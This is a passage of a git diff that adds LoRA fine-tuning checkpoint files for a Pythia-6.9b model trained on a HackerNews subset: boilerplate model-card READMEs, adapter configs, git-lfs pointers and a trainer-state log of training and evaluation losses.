Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..a2a664cad91f83580b2b03445f5643119b60ad04 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2ca26a9f2d8b8460bc31282b28374dff194ee4864dc296145cdfa0ecec9661a7 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..68ff4003a20362aa3340741a9bc8d4c9a70baaba --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2b7f671c6a64a1bd984c0e2dd4a00c852a7fc44c2edc644ad86588a5982ba672 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..d06e3c475517e0d14c13a6ccad84a3f20110949a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:96f529f9856ab8a411ac6b8078e33cfc18c0159c4947cd8cac8e1238fc1754c7 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..f91719d8a1b8836b7155587d155c2b2cfc9c7e48 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bbe59d4638e3afc1c337d3e4814ea99d33c22eec7bbc39984af69898855ffb2b +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..dc4e1d39fc8f99c505d27421fb29b7442445251a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/trainer_state.json @@ -0,0 +1,633 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 5.333333333333333, + "eval_steps": 10, + "global_step": 400, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 6.5544287944704e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-400/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..faa8664fa59ccff5ed30309f6ce358c8feda97d0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:981ed94bd91d6fdd2a35382721922f0427772777c0eb0b25709936bfff907e97 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..02cf0c09ee2fc0c62b52552e13c9f619387678d4 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5c71f2a01f21bc053b29421ddc405f4357025973a91471c90a2bfca28701dd05 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..090a1de878697aa3e6255ed23ff26ce6e561a9fa --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2cab01f3c0a9d66cf16eec91d8aebbfd533628e45bdb849b4c3e4ad317f15270 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..390146116c48e62f4426eeb3a1cf7a2ccb90f69b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:72422499e547842d9c164e7afacfea53fe3941a7a106527c3755c473fa91c799 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-410/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..e40474eb5effe9c9783616a5dfbc26becad9952f --- /dev/null +++ 